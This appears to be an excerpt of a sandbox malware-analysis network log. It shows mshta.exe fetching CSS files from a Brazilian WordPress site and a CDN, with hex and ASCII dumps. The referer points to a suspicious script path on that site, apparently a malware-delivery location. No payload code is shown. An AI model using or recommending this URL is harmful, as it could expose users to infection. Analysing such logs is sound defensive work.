6f 74 6f 70 72 65 73 73 2d 69 6d 61 67 65 2d 73 6c 69 64 65 72 2d 6f 62 6a 20 2e 73 6c 69 64 65 73 20 6c 69 3a 61 66 74 65 72 7b 63 6f 6e 74 65 6e 74 3a 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 6f 74 6f 70 72 65 73 73 2d 69 6d 61 67 65 2d 73 6c 69 64 65 72 2d 6f 62 6a 20 2e 73 6c 69 64 65 73 20 6c 69 20 69 6d 67 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 3b 2d 6d 6f 7a 2d 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 62 6f 72 64 65 72 3a 30 7d 2e 6d 6f 74 6f 70 72 65 73 73 2d 69 6d 61 67 65 2d 73 6c 69 64 65 72 2d 6f 62 6a 20 2e 66 6c 65 78 2d 63 6f 6e 74 72 6f 6c 2d 6e 61 76 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 6c 69 73 74 2d 73 74 79 6c 65 3a 6e 6f 6e 65 20 6f 75 74 73 69 64 65 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 6d 61 72 67 69 6e 3a 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 70 61 64 64 69 6e 67 3a 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 6e 6f 72 6d 61 6c 3b 72 69 67 68 74 3a 61 75 74 6f 20 21 69 6d 70 6f 72 74 61 6e 74 3b 62 6f 74 74 6f 6d 3a 2d 34 30 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7a 2d 69 6e 64 65 78 3a 61 75 74 6f 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 6f 74 6f 70 72 65 73 73 2d 69 6d 61 67 65 2d 73 6c 69 64 65 72 2d 6f 62 6a 20 2e 66 6c 65 78 2d 63 6f 6e 74 72 6f 6c 2d 6e 61 76 20 6c 69 7b 6d 61 72 67 69 6e 3a 30 20 36 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 3b 70 61 64 64 69 6e 67 3a 30 3b 77 69 64 74 68 3a 61 75 74 6f 20 21 69 6d 70 6f 72 74 61 6e 74 Data Ascii: .motopress-text-obj span{line-height:1em}.motopress-image-obj .motopress-image-obj-basic{max-width:100% !important;margin:0 !important;padding:0 !important;border:0}.motopress-image-slider-obj{line-height:normal;min-height:0}.motopress-image-slider-obj *{line-height:normal}.motopress-image-slider-obj .slides{list-style:none outside none;margin:0 !important;padding:0;line-height:normal}.motopress-image-slider-obj .slides li{margin:0;margin-left:0 !important;padding:0}.motopress-image-slider-obj .slides li:before,.motopress-image-slider-obj .slides li:after{content:none !important}.motopress-image-slider-obj .slides li img{margin:0;padding:0;-moz-box-shadow:none;-webkit-box-shadow:none;box-shadow:none;border:0}.motopress-image-slider-obj .flex-control-nav{position:absolute !important;list-style:none outside none !important;margin:0 !important;padding:0 !important;line-height:normal;right:auto !important;bottom:-40px !important;text-align:center !important;z-index:auto !important}.motopress-image-slider-obj .flex-control-nav li{margin:0 6px !important;padding:0;width:auto !important
Aug 16, 2022 11:44:54.247663975 CEST	1833	IN	Data Raw: 3b 68 65 69 67 68 74 3a 61 75 74 6f 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 6f 74 6f 70 72 65 73 73 2d 69 6d 61 67 65 2d 73 6c 69 64 65 72 2d 6f 62 6a 20 2e 66 6c 65 78 2d 63 6f 6e 74 72 6f 6c 2d 6e 61 76 20 6c 69 3a 62 65 66 6f 72 65 2c 2e 6d Data Ascii: ;height:auto !important}.motopress-image-slider-obj .flex-control-nav li:before,.motopress-image-slider-obj .flex-control-nav li:after{content:none !important}.motopress-image-slider-obj .flex-control-nav li a{position:static;z-index:auto;widt
Aug 16, 2022 11:44:54.247683048 CEST	1834	IN	Data Raw: 6f 62 6a 20 2e 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 2d 6e 61 76 3a 68 6f 76 65 72 20 2e 66 6c 65 78 2d 6e 65 78 74 3a 68 6f 76 65 72 7b 6f 70 61 63 69 74 79 3a 31 7d 2e 6d 6f 74 6f 70 72 65 73 73 2d 69 6d 61 67 65 2d 73 6c 69 64 65 72 2d 6f Data Ascii: obj .flex-direction-nav:hover .flex-next:hover{opacity:1}.motopress-image-slider-obj>p{display:none !important}.motopress-row .motopress-clmn.motopress-space{min-height:10px}.motopress-row .motopress-clmn.motopress-space .motopress-space-obj{h
Aug 16, 2022 11:44:54.247701883 CEST	1836	IN	Data Raw: 70 72 65 73 73 2d 72 6f 77 20 2e 6d 6f 74 6f 70 72 65 73 73 2d 63 6c 6d 6e 2e 6d 6f 74 6f 70 72 65 73 73 2d 73 70 61 63 65 20 2e 6d 6f 74 6f 70 72 65 73 73 2d 73 70 61 63 65 2d 6f 62 6a 2e 6d 6f 74 6f 70 72 65 73 73 2d 73 70 61 63 65 2d 68 65 61 Data Ascii: press-row .motopress-clmn.motopress-space .motopress-space-obj.motopress-space-heavy>div{border-top:6px inset #cdcdcd;margin-top:-3px}.motopress-video-obj{position:relative;padding-bottom:56.25%;padding-top:30px;height:0;overflow:hidden}.motop
Aug 16, 2022 11:44:54.247726917 CEST	1837	IN	Data Raw: 23 66 65 66 65 66 65 29 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 74 6f 20 74 6f 70 2c 23 65 36 65 36 65 36 2c 23 66 65 66 65 66 65 29 3b 66 69 6c 74 65 72 3a 70 72 6f 67 69 64 3a 44 58 Data Ascii: #fefefe);background-image:linear-gradient(to top,#e6e6e6,#fefefe);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffe6e6e6',endColorstr='#fffefefe',GradientType=0)}.motopress-button-obj .motopress-btn-color-silver:hover{color
Aug 16, 2022 11:44:54.247745991 CEST	1838	IN	Data Raw: 73 73 2d 62 75 74 74 6f 6e 2d 6f 62 6a 20 2e 6d 6f 74 6f 70 72 65 73 73 2d 62 74 6e 2d 63 6f 6c 6f 72 2d 72 65 64 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 65 61 36 38 35 37 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 Data Ascii: ss-button-obj .motopress-btn-color-red:hover{background-color:#ea6857;background-image:-moz-linear-gradient(bottom,#e76452,#ef6f5f);background-image:-webkit-gradient(linear,0 100%,0 0,from(#e76452),to(#ef6f5f));background-image:-webkit-linear-
Aug 16, 2022 11:44:54.247764111 CEST	1840	IN	Data Raw: 30 30 25 2c 30 20 30 2c 66 72 6f 6d 28 23 66 35 38 64 62 63 29 2c 74 6f 28 23 66 64 63 62 65 31 29 29 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 2d 77 65 62 6b 69 74 2d 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 62 6f 74 74 6f 6d Data Ascii: 00%,0 0,from(#f58dbc),to(#fdcbe1));background-image:-webkit-linear-gradient(bottom,#f58dbc,#fdcbe1);background-image:-o-linear-gradient(bottom,#f58dbc,#fdcbe1);background-image:linear-gradient(to top,#f58dbc,#fdcbe1);filter:progid:DXImageTrans
Aug 16, 2022 11:44:54.247790098 CEST	1841	IN	Data Raw: 6e 74 28 74 6f 20 74 6f 70 2c 23 66 62 38 65 33 64 2c 23 66 66 62 66 35 39 29 3b 66 69 6c 74 65 72 3a 70 72 6f 67 69 64 3a 44 58 49 6d 61 67 65 54 72 61 6e 73 66 6f 72 6d 2e 4d 69 63 72 6f 73 6f 66 74 2e 67 72 61 64 69 65 6e 74 28 73 74 61 72 74 Data Ascii: nt(to top,#fb8e3d,#ffbf59);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffb8e3d',endColorstr='#ffffbf59',GradientType=0)}.motopress-button-obj .motopress-btn-color-hot-summer{-webkit-box-shadow:inset 0 0 0 1px #f2bf0b;-mo
Aug 16, 2022 11:44:54.247833014 CEST	1842	IN	Data Raw: 6e 2d 63 6f 6c 6f 72 2d 6f 6c 69 76 65 2d 67 61 72 64 65 6e 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 68 61 64 6f 77 3a 69 6e 73 65 74 20 30 20 30 20 30 20 31 70 78 20 23 38 61 64 35 33 32 3b 2d 6d 6f 7a 2d 62 6f 78 2d 73 68 61 64 6f 77 3a 69 6e Data Ascii: n-color-olive-garden{-webkit-box-shadow:inset 0 0 0 1px #8ad532;-moz-box-shadow:inset 0 0 0 1px #8ad532;box-shadow:inset 0 0 0 1px #8ad532;background-color:#92ca26;background-image:-moz-linear-gradient(bottom,#7fb615,#afe840);background-image:
Aug 16, 2022 11:44:54.247858047 CEST	1844	IN	Data Raw: 69 6d 61 67 65 3a 2d 6d 6f 7a 2d 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 62 6f 74 74 6f 6d 2c 23 33 32 39 63 30 64 2c 23 35 62 64 36 33 66 29 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 2d 77 65 62 6b 69 74 2d 67 72 61 64 69 65 Data Ascii: image:-moz-linear-gradient(bottom,#329c0d,#5bd63f);background-image:-webkit-gradient(linear,0 100%,0 0,from(#329c0d),to(#5bd63f));background-image:-webkit-linear-gradient(bottom,#329c0d,#5bd63f);background-image:-o-linear-gradient(bottom,#329c
Aug 16, 2022 11:44:54.463530064 CEST	1845	IN	Data Raw: 30 61 61 65 61 2c 23 32 35 65 33 65 66 29 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 2d 6f 2d 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 62 6f 74 74 6f 6d 2c 23 30 30 61 61 65 61 2c 23 32 35 65 33 65 66 29 3b 62 61 63 6b 67 72 6f Data Ascii: 0aaea,#25e3ef);background-image:-o-linear-gradient(bottom,#00aaea,#25e3ef);background-image:linear-gradient(to top,#00aaea,#25e3ef);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff00aaea',endColorstr='#ff25e3ef',GradientTyp

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.5	49768	104.18.11.207	80	C:\Windows\SysWOW64\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:44:46.083647013 CEST	1182	OUT	GET /font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: netdna.bootstrapcdn.com Connection: Keep-Alive
Aug 16, 2022 11:44:46.107300997 CEST	1195	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:44:46 GMT Content-Type: text/css; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: DE Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 Content-Encoding: gzip Last-Modified: Mon, 25 Jan 2021 22:04:51 GMT CDN-CachedAt: 08/03/2021 17:42:29 CDN-EdgeStorageId: 601 CDN-RequestPullCode: 200 CDN-RequestPullSuccess: True timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-ProxyVer: 1.0 CDN-Status: 200 CDN-RequestId: 6a3ecfb7abce577b84969b7b3a3242a6 CDN-Cache: HIT CF-Cache-Status: HIT Age: 14926022 Server: cloudflare CF-RAY: 73b93bb80f749a3f-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Data Raw: 31 37 34 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ad 5d fb 93 db 36 92 fe dd 7f 05 cf a9 9c 1d 97 29 0f 47 f3 de ca 5e 1c c7 d9 73 9d 73 76 ad 9d da bd ba 47 15 45 42 12 33 94 c8 f0 31 0f 5f e5 7f bf af 01 52 ea 16 d9 a0 72 1b d7 ae e3 21 1b 40 a3 f1 f5 03 8d 06 e7 d5 8b 7f 7a 12 bc 08 82 1f 8b 6d 13 bc be 37 75 b1 31 c1 7c 76 3a 8b ec e3 66 6d 82 2c 29 b6 59 12 2c 89 22 35 75 b6 da 9a 14 3f 55 c1 f7 45 d1 d4 4d 15 97 96 34 fc 43 ff d8 2e 3f 63 f4 65 9b e7 41 dd 66 8d 09 8a 65 50 66 49 53 ac 30 e4 1a 1c 11 63 f5 cb c0 3c c4 9b 32 37 f8 57 bc 4d 83 b4 48 da 8d d9 36 71 93 15 db 20 89 b7 c1 c2 d8 ce 96 45 8b d7 71 13 ac 9b a6 bc 79 f5 8a e6 13 bb 09 cf b2 62 16 04 9f 9a f8 31 68 cb a0 29 82 34 a6 e1 b6 c1 e7 fb ac 69 4c 85 56 b6 8b ae 65 e3 9e ce 92 62 23 7a 01 8d 25 7b 9f 25 66 5b bb 51 ff 50 a1 84 4e d0 56 2e 62 c1 ec da 64 75 90 bb 91 d3 00 53 05 db 9f de bd 0f 3e fc f8 3e 88 66 51 e0 da ee e6 50 27 55 56 36 f5 ac ce f2 59 51 ad 5e 81 ac eb 5c 74 fc e6 d3 a7 97 c1 fb b7 f4 37 09 f7 d3 eb 4f 9f 82 65 06 61 07 71 65 0e 87 fb e9 dd e7 7e ee 87 c3 15 25 24 52 b4 55 62 ec 68 1d 9f f5 ab 4d d6 84 dd 0f b3 75 b3 c9 c7 78 90 2b 7a 30 c5 37 6f 82 ef ff 03 80 3d 39 1c 31 a9 0c 20 70 67 b0 48 1b c0 44 0e bb 78 7c 85 26 af ba d1 5e 37 4d 95 2d 5a 0b 18 08 71 5b 04 79 b1 5d 41 7e 95 f9 b5 cd 2a a0 3d db 1e 2a c8 c9 cb 00 2d 82 4d 9b ac 83 b8 2c 2b 93 64 c0 4c 7a 63 bb 0c 82 a7 42 8a 8b c7 e0 87 f8 ce Data Ascii: 1747]6)G^ssvGEB31_Rr!@zm7u1\|v:fm,)Y,"5u?UEM4C.?ceAfePfIS0c<27WMH6q Eqyb1h)4iLVeb#z%{%f[QPNV.bduS>>fQP'UV6YQ^\t7Oeaqe~%$RUbhMux+z07o=91 pgHDx\|&^7M-Zq[y]A~=-M,+dLzcB
Aug 16, 2022 11:44:46.107335091 CEST	1197	IN	Data Raw: 04 7f 81 0c 1f 83 70 1c 81 4f 7b f8 bc 6e 9b 35 b4 2b 64 6d 1c a3 7f 28 96 6c 97 6f 37 71 96 df 00 ee 77 e6 3b a9 0f f6 75 07 ff 9b 31 e0 2f 1e eb 04 5a 59 5b c2 bf 15 d5 ed 4d f0 de c4 69 f0 b1 2a d2 36 69 82 1f 9c a5 a8 82 ef 82 7f 7b ac da b6 Data Ascii: pO{n5+dm(lo7qw;u1/ZY[Mi*6i{Lz?_WM&Q[>eV6Yx<#wFf3\_{g3S4r5z}2{]kyl&MM<4'rge=>}5oB}A26@
Aug 16, 2022 11:44:46.107388020 CEST	1198	IN	Data Raw: e7 40 4c 42 b1 15 ad 67 0d 07 ba d8 d9 8f c1 56 b8 eb 77 74 cc 81 dc 45 27 fb 6d e9 90 6e 9c 93 21 9d 33 6a 03 a6 18 e1 ef 5d cd 9d 9b 74 7d 9c 3e 60 82 e3 8b e6 a7 64 b3 db 3b f9 e3 fa b4 1e b5 27 e5 9e d5 1a ff 59 74 75 14 1a a5 b0 c6 a7 60 77 Data Ascii: @LBgVwtE'mn!3j]t}>`d;'Ytu`w*$F% 4M8!!A80G(8n\|{,w'?fcAlK[c@vP(KECVZvB#:xw,;j@%
Aug 16, 2022 11:44:46.107422113 CEST	1199	IN	Data Raw: 70 9c 0d 6f ae a1 f3 74 c9 4c 6f 82 ac 42 15 ab b4 73 6e 78 29 7b a4 53 72 18 2f 8a 5c 57 e0 39 87 70 86 f0 da 13 61 cc 85 3d a5 ca a5 2e 65 a6 4d 6e ce b1 6c b3 2a 2e e5 a6 d2 73 2c db dc aa 2d 76 d0 a7 c9 b1 ec e8 5d 11 95 de 82 83 d9 b5 e0 26 Data Ascii: potLoBsnx){Sr/\W9pa=.eMnl*.s,-v]&eh/mdK=JsTPdW&:grB2e;^@'X7%h6.C"Owa$xodH=&<"EDC7Y/8qgucJ$uM7VxjY[)6k#^
Aug 16, 2022 11:44:46.107448101 CEST	1201	IN	Data Raw: 50 ba 7a 1e 75 29 cd a1 d1 a5 0d 85 4e cd 21 dc 1d c3 33 81 f7 06 0d ca a8 6f 26 0d c7 75 6e 56 9e 82 0f c3 e1 9c a2 66 63 51 f8 22 3d 33 92 56 f1 ee 00 cc d8 86 d3 df 42 06 e5 9e 22 29 23 ed 70 63 36 b1 ee fa 0c c7 31 76 b2 f8 fe 44 ae 9f fd 1a Data Ascii: Pzu)N!3o&unVfcQ"=3VB")#pc61vDG3U=7H0"d#Bqr"l]7oL^FwKgO Kh7Yh}'Pe<\|p.3EZ[tsJK6S/H8r!Jtj^6cwcR\|HZ$Oq
Aug 16, 2022 11:44:46.107475996 CEST	1201	IN	Data Raw: 91 e8 92 9b 70 ec bd 5b f5 72 6f 24 ea 6b 53 fc fe 93 85 e7 ac 3d 12 85 b5 f5 2d 7d a3 5d e5 81 83 18 bf 74 a7 aa 7f 6d 3d f7 b0 f0 15 16 16 41 37 74 a6 a6 ef ec 65 1d 2d 0e eb 3c 52 be e2 d1 8c 9f 52 c4 2e f8 8d 3f 7a 89 47 24 6a 67 eb 56 df 42 Data Ascii: p[ro$kS=-}]tm=A7te-<RR.?zG$jgVB2YH#tEqU"Q{'lD%,~=#}J t>>_j
Aug 16, 2022 11:44:46.107497931 CEST	1201	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.5	49788	187.45.240.69	80	C:\Windows\SysWOW64\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:44:54.951015949 CEST	1923	OUT	GET /wp-content/plugins/motopress-content-editor/bootstrap/bootstrap-grid.min.css?ver=1.5.8 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:44:55.206248045 CEST	1924	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:44:55 GMT Server: Apache Last-Modified: Tue, 02 Apr 2019 21:26:49 GMT ETag: "a514fe-3b24-58592cb795840" Accept-Ranges: bytes Content-Length: 15140 Connection: close Content-Type: text/css Data Raw: 2e 6d 70 2d 72 6f 77 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 32 30 70 78 3b 2a 7a 6f 6f 6d 3a 31 7d 2e 6d 70 2d 72 6f 77 3a 62 65 66 6f 72 65 2c 2e 6d 70 2d 72 6f 77 3a 61 66 74 65 72 7b 64 69 73 70 6c 61 79 3a 74 61 62 6c 65 3b 63 6f 6e 74 65 6e 74 3a 22 22 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 30 7d 2e 6d 70 2d 72 6f 77 3a 61 66 74 65 72 7b 63 6c 65 61 72 3a 62 6f 74 68 7d 5b 63 6c 61 73 73 2a 3d 22 6d 70 2d 73 70 61 6e 22 5d 7b 66 6c 6f 61 74 3a 6c 65 66 74 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 70 78 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 32 30 70 78 7d 2e 6d 70 2d 63 6f 6e 74 61 69 6e 65 72 7b 77 69 64 74 68 3a 39 34 30 70 78 7d 2e 6d 70 2d 73 70 61 6e 31 32 7b 77 69 64 74 68 3a 39 34 30 70 78 7d 2e 6d 70 2d 73 70 61 6e 31 31 7b 77 69 64 74 68 3a 38 36 30 70 78 7d 2e 6d 70 2d 73 70 61 6e 31 30 7b 77 69 64 74 68 3a 37 38 30 70 78 7d 2e 6d 70 2d 73 70 61 6e 39 7b 77 69 64 74 68 3a 37 30 30 70 78 7d 2e 6d 70 2d 73 70 61 6e 38 7b 77 69 64 74 68 3a 36 32 30 70 78 7d 2e 6d 70 2d 73 70 61 6e 37 7b 77 69 64 74 68 3a 35 34 30 70 78 7d 2e 6d 70 2d 73 70 61 6e 36 7b 77 69 64 74 68 3a 34 36 30 70 78 7d 2e 6d 70 2d 73 70 61 6e 35 7b 77 69 64 74 68 3a 33 38 30 70 78 7d 2e 6d 70 2d 73 70 61 6e 34 7b 77 69 64 74 68 3a 33 30 30 70 78 7d 2e 6d 70 2d 73 70 61 6e 33 7b 77 69 64 74 68 3a 32 32 30 70 78 7d 2e 6d 70 2d 73 70 61 6e 32 7b 77 69 64 74 68 3a 31 34 30 70 78 7d 2e 6d 70 2d 73 70 61 6e 31 7b 77 69 64 74 68 3a 36 30 70 78 7d 2e 6d 70 2d 6f 66 66 73 65 74 31 32 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 39 38 30 70 78 7d 2e 6d 70 2d 6f 66 66 73 65 74 31 31 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 39 30 30 70 78 7d 2e 6d 70 2d 6f 66 66 73 65 74 31 30 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 38 32 30 70 78 7d 2e 6d 70 2d 6f 66 66 73 65 74 39 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 37 34 30 70 78 7d 2e 6d 70 2d 6f 66 66 73 65 74 38 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 36 36 30 70 78 7d 2e 6d 70 2d 6f 66 66 73 65 74 37 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 35 38 30 70 78 7d 2e 6d 70 2d 6f 66 66 73 65 74 36 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 35 30 30 70 78 7d 2e 6d 70 2d 6f 66 66 73 65 74 35 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 34 32 30 70 78 7d 2e 6d 70 2d 6f 66 66 73 65 74 34 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 34 30 70 78 7d 2e 6d 70 2d 6f 66 66 73 65 74 33 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 32 36 30 70 78 7d 2e 6d 70 2d 6f 66 66 73 65 74 32 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 38 30 70 78 7d 2e 6d 70 2d 6f 66 66 73 65 74 31 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 30 30 70 78 7d 2e 6d 70 2d 72 6f 77 2d 66 6c 75 69 64 7b 77 69 64 74 68 3a 31 30 30 25 3b 2a 7a 6f 6f 6d 3a 31 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 7d 2e 6d 70 2d 72 6f 77 2d 66 6c 75 69 64 3a 62 65 66 6f 72 65 2c 2e 6d 70 2d 72 6f 77 2d 66 6c 75 69 64 3a 61 66 74 65 72 7b 64 69 73 70 6c 61 79 3a 74 61 62 6c 65 3b 63 6f 6e 74 65 6e 74 3a 22 22 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 30 7d 2e 6d 70 2d 72 6f 77 2d 66 6c 75 69 64 3a 61 66 74 65 72 7b 63 6c 65 61 72 3a 62 6f 74 68 7d 2e 6d 70 2d 72 6f 77 2d 66 6c 75 69 64 20 5b 63 6c 61 73 73 2a 3d 22 6d 70 2d 73 70 61 6e Data Ascii: .mp-row{margin-left:-20px;zoom:1}.mp-row:before,.mp-row:after{display:table;content:"";line-height:0}.mp-row:after{clear:both}[class="mp-span"]{float:left;min-height:1px;margin-left:20px}.mp-container{width:940px}.mp-span12{width:940px}.mp-span11{width:860px}.mp-span10{width:780px}.mp-span9{width:700px}.mp-span8{width:620px}.mp-span7{width:540px}.mp-span6{width:460px}.mp-span5{width:380px}.mp-span4{width:300px}.mp-span3{width:220px}.mp-span2{width:140px}.mp-span1{width:60px}.mp-offset12{margin-left:980px}.mp-offset11{margin-left:900px}.mp-offset10{margin-left:820px}.mp-offset9{margin-left:740px}.mp-offset8{margin-left:660px}.mp-offset7{margin-left:580px}.mp-offset6{margin-left:500px}.mp-offset5{margin-left:420px}.mp-offset4{margin-left:340px}.mp-offset3{margin-left:260px}.mp-offset2{margin-left:180px}.mp-offset1{margin-left:100px}.mp-row-fluid{width:100%;zoom:1;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.mp-row-fluid:before,.mp-row-fluid:after{display:table;content:"";line-height:0}.mp-row-fluid:after{clear:both}.mp-row-fluid [class="mp-span
Aug 16, 2022 11:44:55.206279993 CEST	1926	IN	Data Raw: 22 5d 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 77 69 64 74 68 3a 31 30 30 25 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 33 30 70 78 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 2d 6d 6f 7a 2d 62 6f 78 Data Ascii: "]{display:block;width:100%;min-height:30px;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;float:left;margin-left:2.127659574468085%;margin-left:2.074468085106383%}.mp-row-fluid [class="mp-span"]:first-child{m
Aug 16, 2022 11:44:55.206304073 CEST	1927	IN	Data Raw: 39 35 37 34 34 36 37 25 7d 2e 6d 70 2d 72 6f 77 2d 66 6c 75 69 64 20 2e 6d 70 2d 6f 66 66 73 65 74 31 31 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 39 35 2e 37 34 34 36 38 30 38 35 31 30 36 33 38 32 25 3b 2a 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 39 35 Data Ascii: 9574467%}.mp-row-fluid .mp-offset11{margin-left:95.74468085106382%;margin-left:95.6382978723404%}.mp-row-fluid .mp-offset11:first-child{margin-left:93.61702127659574%;margin-left:93.51063829787232%}.mp-row-fluid .mp-offset10{margin-left:87.2
Aug 16, 2022 11:44:55.206463099 CEST	1929	IN	Data Raw: 33 25 7d 2e 6d 70 2d 72 6f 77 2d 66 6c 75 69 64 20 2e 6d 70 2d 6f 66 66 73 65 74 34 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 36 2e 31 37 30 32 31 32 37 36 35 39 35 37 34 34 34 25 3b 2a 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 36 2e 30 36 33 38 32 Data Ascii: 3%}.mp-row-fluid .mp-offset4{margin-left:36.170212765957444%;margin-left:36.06382978723405%}.mp-row-fluid .mp-offset4:first-child{margin-left:34.04255319148936%;margin-left:33.93617021276596%}.mp-row-fluid .mp-offset3{margin-left:27.65957446
Aug 16, 2022 11:44:55.206532001 CEST	1930	IN	Data Raw: 69 6e 67 3a 30 7d 2e 6d 70 2d 63 6f 6e 74 61 69 6e 65 72 7b 77 69 64 74 68 3a 61 75 74 6f 7d 2e 6d 70 2d 72 6f 77 2d 66 6c 75 69 64 7b 77 69 64 74 68 3a 31 30 30 25 7d 2e 6d 70 2d 72 6f 77 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 7d 5b 63 6c 61 Data Ascii: ing:0}.mp-container{width:auto}.mp-row-fluid{width:100%}.mp-row{margin-left:0}[class="mp-span"],.mp-row-fluid [class="mp-span"]{float:none;display:block;width:100%;margin-left:0;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-si
Aug 16, 2022 11:44:55.206581116 CEST	1931	IN	Data Raw: 6c 75 69 64 3a 61 66 74 65 72 7b 64 69 73 70 6c 61 79 3a 74 61 62 6c 65 3b 63 6f 6e 74 65 6e 74 3a 22 22 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 30 7d 2e 6d 70 2d 72 6f 77 2d 66 6c 75 69 64 3a 61 66 74 65 72 7b 63 6c 65 61 72 3a 62 6f 74 68 7d 2e Data Ascii: luid:after{display:table;content:"";line-height:0}.mp-row-fluid:after{clear:both}.mp-row-fluid [class*="mp-span"]{display:block;width:100%;min-height:30px;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;float:lef
